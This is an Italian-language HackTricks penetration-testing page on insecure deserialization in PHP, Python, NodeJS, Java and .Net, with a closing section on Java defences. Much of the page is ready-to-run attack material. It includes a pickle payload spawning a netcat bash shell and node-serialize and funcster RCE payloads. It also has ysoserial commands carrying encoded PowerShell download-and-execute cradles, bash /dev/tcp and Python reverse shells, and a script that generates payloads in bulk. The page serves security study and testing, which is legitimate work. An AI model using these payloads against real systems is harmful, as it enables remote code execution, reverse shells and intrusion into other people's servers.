hacktricks/pentesting-web/deserialization/README.md
2024-02-10 13:03:23 +00:00

53 KiB

Deserializzazione

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

La serializzazione è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica viene comunemente utilizzata per garantire che l'oggetto possa essere ricreato in un momento successivo, mantenendo la sua struttura e stato.

La deserializzazione, al contrario, è il processo che contrasta la serializzazione. Comprende il prendere dati strutturati in un formato specifico e ricostruirli in un oggetto.

La deserializzazione può essere pericolosa perché potenzialmente consente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.

PHP

In PHP, vengono utilizzati specifici metodi magici durante i processi di serializzazione e deserializzazione:

  • __sleep: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array con i nomi di tutte le proprietà dell'oggetto che devono essere serializzate. Viene comunemente utilizzato per salvare dati in sospeso o eseguire attività di pulizia simili.
  • __wakeup: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altre attività di re-inizializzazione.
  • __unserialize: Questo metodo viene chiamato al posto di __wakeup (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserializzazione rispetto a __wakeup.
  • __destruct: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. Di solito viene utilizzato per attività di pulizia, come la chiusura di handle dei file o connessioni al database.
  • __toString: Questo metodo consente di trattare un oggetto come una stringa. Può essere utilizzato per leggere un file o altre attività basate sulle chiamate di funzione al suo interno, fornendo efficacemente una rappresentazione testuale dell'oggetto.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Se guardi i risultati, puoi vedere che le funzioni __wakeup e __destruct vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione __toString viene chiamata quando si cerca di stampare un attributo, ma apparentemente questo non accade più.

{% hint style="warning" %} Il metodo __unserialize(array $data) viene chiamato al posto di __wakeup() se è implementato nella classe. Ti permette di deserializzare l'oggetto fornendo i dati serializzati come un array. Puoi utilizzare questo metodo per deserializzare le proprietà e eseguire eventuali operazioni necessarie durante la deserializzazione.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Puoi leggere un esempio PHP spiegato qui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, qui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o qui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Puoi sfruttare la funzionalità di autoload di PHP per caricare file php arbitrari e altro ancora:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serializzare valori referenziati

Se per qualche motivo vuoi serializzare un valore come riferimento ad un altro valore serializzato, puoi:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial per PHP)

PHPGGC può aiutarti a generare payload per sfruttare le deserializzazioni PHP.
Nota che in diversi casi potresti non essere in grado di trovare un modo per sfruttare una deserializzazione nel codice sorgente dell'applicazione, ma potresti essere in grado di sfruttare il codice di estensioni PHP esterne.
Quindi, se puoi, controlla il phpinfo() del server e cerca su internet (e anche sui gadget di PHPGGC) alcuni possibili gadget che potresti sfruttare.

Deserializzazione dei metadati phar://

Se hai trovato una LFI che sta solo leggendo il file e non eseguendo il codice PHP al suo interno, ad esempio utilizzando funzioni come file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize(). Puoi provare a sfruttare una deserializzazione che avviene durante la lettura di un file utilizzando il protocollo phar.
Per ulteriori informazioni leggi il seguente post:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Quando l'oggetto viene deserializzato, verrà eseguita la funzione __reduce__.
Quando viene sfruttato, il server potrebbe restituire un errore.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Per ulteriori informazioni su come evadere dalle prigioni di pickle, consulta:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

La seguente pagina presenta la tecnica per abusare di una deserializzazione non sicura nelle librerie python di yaml e si conclude con uno strumento che può essere utilizzato per generare un payload di deserializzazione RCE per Pickle, PyYAML, jsonpickle e ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Inquinamento di classe (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

Funzioni magiche JS

JS non ha funzioni "magiche" come PHP o Python che vengono eseguite solo per creare un oggetto. Ma ha alcune funzioni che vengono spesso utilizzate anche senza chiamarle direttamente, come toString, valueOf, toJSON.
Se si abusa di una deserializzazione, è possibile compromettere queste funzioni per eseguire altro codice (potenzialmente abusando delle contaminazioni del prototipo) e potresti eseguire codice arbitrario quando vengono chiamate.

Un altro modo "magico" per chiamare una funzione senza chiamarla direttamente è compromettere un oggetto restituito da una funzione asincrona (promessa). Perché, se trasformi quell'oggetto restituito in un'altra promessa con una proprietà chiamata "then" di tipo funzione, verrà eseguita solo perché è restituita da un'altra promessa. Segui questo link per ulteriori informazioni.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ e prototype pollution

Se vuoi conoscere questa tecnica, dai un'occhiata al seguente tutorial:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Questa libreria consente di serializzare le funzioni. Esempio:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

L'oggetto serializzato avrà questo aspetto:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

È possibile vedere nell'esempio che quando una funzione viene serializzata, viene aggiunta la bandiera _$$ND_FUNC$$_ all'oggetto serializzato.

All'interno del file node-serialize/lib/serialize.js è possibile trovare la stessa bandiera e come il codice la utilizza.

Come si può vedere nell'ultimo blocco di codice, se la bandiera viene trovata, viene utilizzato eval per deserializzare la funzione, quindi fondamentalmente l'input dell'utente viene utilizzato all'interno della funzione eval.

Tuttavia, solo serializzare una funzione non la eseguirà, poiché sarebbe necessario che una parte del codice stia chiamando y.rce nel nostro esempio e ciò è altamente improbabile.
In ogni caso, è possibile modificare l'oggetto serializzato aggiungendo alcune parentesi per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.
Nel prossimo blocco di codice, notare l'ultima parentesi e come la funzione unserialize eseguirà automaticamente il codice:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Come è stato indicato in precedenza, questa libreria otterrà il codice dopo _$$ND_FUNC$$_ e lo eseguirà utilizzando eval. Pertanto, per eseguire automaticamente il codice, è possibile eliminare la parte di creazione della funzione e l'ultima parentesi e eseguire semplicemente un oneliner JS come nell'esempio seguente:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Puoi trovare qui ulteriori informazioni su come sfruttare questa vulnerabilità.

funcster

Un aspetto notevole di funcster è l'inaccessibilità degli oggetti standard incorporati; essi cadono al di fuori dello scope accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi sugli oggetti incorporati, portando a eccezioni come "ReferenceError: console non è definito" quando vengono utilizzati comandi come console.log() o require(something).

Nonostante questa limitazione, è possibile ripristinare pieno accesso al contesto globale, compresi tutti gli oggetti standard incorporati, attraverso un approccio specifico. Sfruttando direttamente il contesto globale, è possibile aggirare questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente snippet:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Per ulteriori informazioni leggi questa fonte.

serialize-javascript

Il pacchetto serialize-javascript è progettato esclusivamente per scopi di serializzazione, senza alcuna capacità di deserializzazione integrata. Gli utenti sono responsabili di implementare il proprio metodo per la deserializzazione. Viene suggerito un uso diretto di eval nell'esempio ufficiale per deserializzare i dati serializzati:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Se questa funzione viene utilizzata per deserializzare oggetti, è possibile sfruttarla facilmente:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Per ulteriori informazioni leggi questa fonte.

Libreria Cryo

Nelle seguenti pagine puoi trovare informazioni su come sfruttare questa libreria per eseguire comandi arbitrari:

Java - HTTP

In Java, i callback di deserializzazione vengono eseguiti durante il processo di deserializzazione. Questa esecuzione può essere sfruttata dagli attaccanti che creano payload maligni che attivano questi callback, portando alla potenziale esecuzione di azioni dannose.

Fingerprint

White Box

Per identificare potenziali vulnerabilità di serializzazione nel codice, cerca:

  • Classi che implementano l'interfaccia Serializable.
  • Utilizzo delle funzioni java.io.ObjectInputStream, readObject, readUnshare.

Presta particolare attenzione a:

  • XMLDecoder utilizzato con parametri definiti da utenti esterni.
  • Metodo fromXML di XStream, specialmente se la versione di XStream è inferiore o uguale a 1.46, in quanto è suscettibile a problemi di serializzazione.
  • ObjectInputStream accoppiato con il metodo readObject.
  • Implementazione di metodi come readObject, readObjectNodData, readResolve o readExternal.
  • ObjectInputStream.readUnshared.
  • Uso generale di Serializable.

Black Box

Per il testing black box, cerca specifiche firme o "Magic Bytes" che denotano oggetti serializzati in Java (originanti da ObjectInputStream):

  • Pattern esadecimale: AC ED 00 05.
  • Pattern Base64: rO0.
  • Intestazioni di risposta HTTP con Content-type impostato su application/x-java-serialized-object.
  • Pattern esadecimale che indica una compressione precedente: 1F 8B 08 00.
  • Pattern Base64 che indica una compressione precedente: H4sIA.
  • File web con estensione .faces e parametro faces.ViewState. La scoperta di questi pattern in un'applicazione web dovrebbe indurre a un esame dettagliato come descritto nel post su Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Verifica se è vulnerabile

Se vuoi sapere come funziona un exploit di deserializzazione Java, dovresti dare un'occhiata a Deserializzazione Java di base, Deserializzazione Java DNS e Payload CommonsCollection1.

Test White Box

Puoi verificare se è installata un'applicazione con vulnerabilità note.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Potresti provare a verificare tutte le librerie note per essere vulnerabili e per le quali Ysoserial può fornire un exploit. Oppure potresti controllare le librerie indicate su Java-Deserialization-Cheat-Sheet.
Puoi anche utilizzare gadgetinspector per cercare possibili catene di gadget che possono essere sfruttate.
Quando esegui gadgetinspector (dopo averlo compilato), non preoccuparti dei numerosi avvisi/errori che visualizza e lascia che completi. Scriverà tutte le scoperte in gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Tieni presente che gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi.

Test Black Box

Utilizzando l'estensione di Burp gadgetprobe puoi identificare quali librerie sono disponibili (e anche le versioni). Con queste informazioni potrebbe essere più facile scegliere un payload per sfruttare la vulnerabilità.
Leggi questo per saperne di più su GadgetProbe.
GadgetProbe è focalizzato sulle deserializzazioni di ObjectInputStream.

Utilizzando l'estensione di Burp Java Deserialization Scanner puoi identificare librerie vulnerabili sfruttabili con ysoserial e sfruttarle.
Leggi questo per saperne di più su Java Deserialization Scanner.
Java Deserialization Scanner è focalizzato sulle deserializzazioni di ObjectInputStream.

Puoi anche utilizzare Freddy per rilevare vulnerabilità di deserializzazione in Burp. Questo plugin rileverà vulnerabilità non solo correlate a ObjectInputStream, ma anche a librerie di deserializzazione Json e Yml. In modalità attiva, cercherà di confermarle utilizzando payload di sleep o DNS.
Puoi trovare ulteriori informazioni su Freddy qui.

Test di Serializzazione

Non tutto riguarda il controllo se il server utilizza una libreria vulnerabile. A volte potresti essere in grado di modificare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli (ad esempio ottenere privilegi di amministratore all'interno di un'applicazione web).
Se trovi un oggetto serializzato Java inviato a un'applicazione web, puoi utilizzare SerializationDumper per stampare in un formato più leggibile per l'essere umano l'oggetto di serializzazione che viene inviato. Conoscere quali dati stai inviando renderà più facile modificarli e bypassare alcuni controlli.

Exploit

ysoserial

Lo strumento principale per sfruttare le deserializzazioni Java è ysoserial (scarica qui). Puoi anche considerare di utilizzare ysoseral-modified che ti consentirà di utilizzare comandi complessi (ad esempio con pipe).
Nota che questo strumento è centrato sull'utilizzo di ObjectInputStream.
Inizierei utilizzando il payload "URLDNS" prima di un payload RCE per testare se l'iniezione è possibile. Tuttavia, tieni presente che forse il payload "URLDNS" non funziona, ma funziona un altro payload RCE.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Quando si crea un payload per java.lang.Runtime.exec(), non è possibile utilizzare caratteri speciali come ">" o "|" per reindirizzare l'output di un'esecuzione, "$()" per eseguire comandi o anche passare argomenti a un comando separati da spazi (puoi fare echo -n "hello world" ma non puoi fare python2 -c 'print "Hello world"'). Per codificare correttamente il payload, puoi utilizzare questa pagina web.

Sentiti libero di utilizzare lo script seguente per creare tutti i possibili payload di esecuzione del codice per Windows e Linux e quindi testarli sulla pagina web vulnerabile:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Puoi utilizzare https://github.com/pwntester/SerialKillerBypassGadgetCollection insieme a ysoserial per creare più exploit. Ulteriori informazioni su questo strumento sono disponibili nelle slide della presentazione in cui è stato presentato lo strumento: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec può essere utilizzato per generare payload per sfruttare diverse librerie di serializzazione Json e Yml in Java.
Per compilare il progetto ho dovuto aggiungere queste dipendenze a pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installa maven, e compila il progetto:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Leggi di più su questa libreria JSON Java: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratori

Perché

Java utilizza molto la serializzazione per vari scopi come:

  • Richieste HTTP: La serializzazione è ampiamente utilizzata nella gestione dei parametri, ViewState, cookie, ecc.
  • RMI (Remote Method Invocation): Il protocollo Java RMI, che si basa interamente sulla serializzazione, è una pietra angolare per la comunicazione remota nelle applicazioni Java.
  • RMI su HTTP: Questo metodo è comunemente utilizzato dalle applicazioni web client Java-based, che utilizzano la serializzazione per tutte le comunicazioni degli oggetti.
  • JMX (Java Management Extensions): JMX utilizza la serializzazione per la trasmissione di oggetti sulla rete.
  • Protocolli personalizzati: In Java, la pratica standard prevede la trasmissione di oggetti Java grezzi, che verrà dimostrata negli esempi di exploit futuri.

Prevenzione

Oggetti transienti

Una classe che implementa Serializable può dichiarare come transient qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzabile. Ad esempio:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Evitare la serializzazione di una classe che deve implementare Serializable

In scenari in cui certi oggetti devono implementare l'interfaccia Serializable a causa della gerarchia di classi, c'è il rischio di una deserializzazione non intenzionale. Per prevenire ciò, assicurarsi che questi oggetti siano non deserializzabili definendo un metodo readObject() final che solleva costantemente un'eccezione, come mostrato di seguito:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Migliorare la sicurezza della deserializzazione in Java

Personalizzare java.io.ObjectInputStream è un approccio pratico per garantire la sicurezza dei processi di deserializzazione. Questo metodo è adatto quando:

  • Il codice di deserializzazione è sotto il tuo controllo.
  • Le classi previste per la deserializzazione sono conosciute.

Sovrascrivi il metodo resolveClass() per limitare la deserializzazione solo alle classi consentite. Ciò impedisce la deserializzazione di qualsiasi classe tranne quelle esplicitamente consentite, come nell'esempio seguente che limita la deserializzazione solo alla classe Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Utilizzare un Java Agent per il miglioramento della sicurezza offre una soluzione alternativa quando non è possibile modificare il codice. Questo metodo si applica principalmente per mettere in blacklist classi dannose, utilizzando un parametro JVM:

-javaagent:name-of-agent.jar

Fornisce un modo per proteggere la deserializzazione in modo dinamico, ideale per ambienti in cui i cambiamenti immediati del codice sono impraticabili.

Controlla un esempio in rO0 di Contrast Security

Implementazione dei filtri di serializzazione: Java 9 ha introdotto i filtri di serializzazione tramite l'interfaccia ObjectInputFilter, fornendo un meccanismo potente per specificare i criteri che gli oggetti serializzati devono soddisfare prima di essere deserializzati. Questi filtri possono essere applicati globalmente o per flusso, offrendo un controllo granulare sul processo di deserializzazione.

Per utilizzare i filtri di serializzazione, è possibile impostare un filtro globale che si applica a tutte le operazioni di deserializzazione o configurarlo in modo dinamico per flussi specifici. Ad esempio:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Sfruttare le librerie esterne per una sicurezza avanzata: Librerie come NotSoSerial, jdeserialize e Kryo offrono funzionalità avanzate per il controllo e il monitoraggio della deserializzazione Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come la creazione di liste bianche o nere di classi, l'analisi degli oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.

  • NotSoSerial intercetta i processi di deserializzazione per impedire l'esecuzione di codice non attendibile.
  • jdeserialize consente l'analisi degli oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi.
  • Kryo è un framework di serializzazione alternativo che enfatizza la velocità e l'efficienza, offrendo strategie di serializzazione configurabili che possono migliorare la sicurezza.

Riferimenti

Iniezione JNDI e log4Shell

Scopri cos'è l'iniezione JNDI, come sfruttarla tramite RMI, CORBA e LDAP e come sfruttare log4shell (e un esempio di questa vulnerabilità) nella seguente pagina:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

L'API Java Message Service (JMS) è un'API di middleware orientata ai messaggi Java per l'invio di messaggi tra due o più client. È un'implementazione per gestire il problema produttore-consumatore. JMS fa parte della piattaforma Java Platform, Enterprise Edition (Java EE) ed è stato definito da una specifica sviluppata da Sun Microsystems, ma che è stata successivamente guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita in modo scarsamente accoppiato, affidabile e asincrono. (Da Wikipedia).

Prodotti

Ci sono diversi prodotti che utilizzano questo middleware per l'invio di messaggi:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Sfruttamento

In sostanza, ci sono diversi servizi che utilizzano JMS in modo pericoloso. Pertanto, se hai privilegi sufficienti per inviare messaggi a questi servizi (di solito avrai bisogno di credenziali valide), potresti essere in grado di inviare oggetti serializzati malevoli che verranno deserializzati dal consumatore/abbonato.
Ciò significa che in questa forma di sfruttamento tutti i client che utilizzeranno quel messaggio verranno infettati.

Ricorda che anche se un servizio è vulnerabile (perché deserializza in modo non sicuro l'input dell'utente), è comunque necessario trovare gadget validi per sfruttare la vulnerabilità.

Lo strumento JMET è stato creato per connettersi e attaccare questi servizi inviando diversi oggetti serializzati malevoli utilizzando gadget noti. Questi exploit funzioneranno se il servizio è ancora vulnerabile e se uno dei gadget utilizzati è presente nell'applicazione vulnerabile.

Riferimenti

.Net

Nel contesto di .Net, gli exploit di deserializzazione operano in modo simile a quelli trovati in Java, dove i gadget vengono sfruttati per eseguire codice specifico durante la deserializzazione di un oggetto.

Fingerprint

WhiteBox

Il codice sorgente dovrebbe essere ispezionato per la presenza di:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

L'attenzione dovrebbe essere rivolta ai serializzatori che consentono di determinare il tipo tramite una variabile controllata dall'utente.

BlackBox

La ricerca dovrebbe mirare alla stringa codificata in Base64 AAEAAAD///// o a qualsiasi altro pattern simile che potrebbe subire una deserializzazione lato server, concedendo il controllo sul tipo da deserializzare. Ciò potrebbe includere, ma non è limitato a, strutture JSON o XML che presentano TypeObject o $type.

ysoserial.net

In questo caso puoi utilizzare lo strumento ysoserial.net per creare gli exploit di deserializzazione. Una volta scaricato il repository git, dovresti compilare lo strumento utilizzando ad esempio Visual Studio.

Se vuoi sapere come ysoserial.net crea il suo exploit, puoi controllare questa pagina in cui viene spiegato il gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

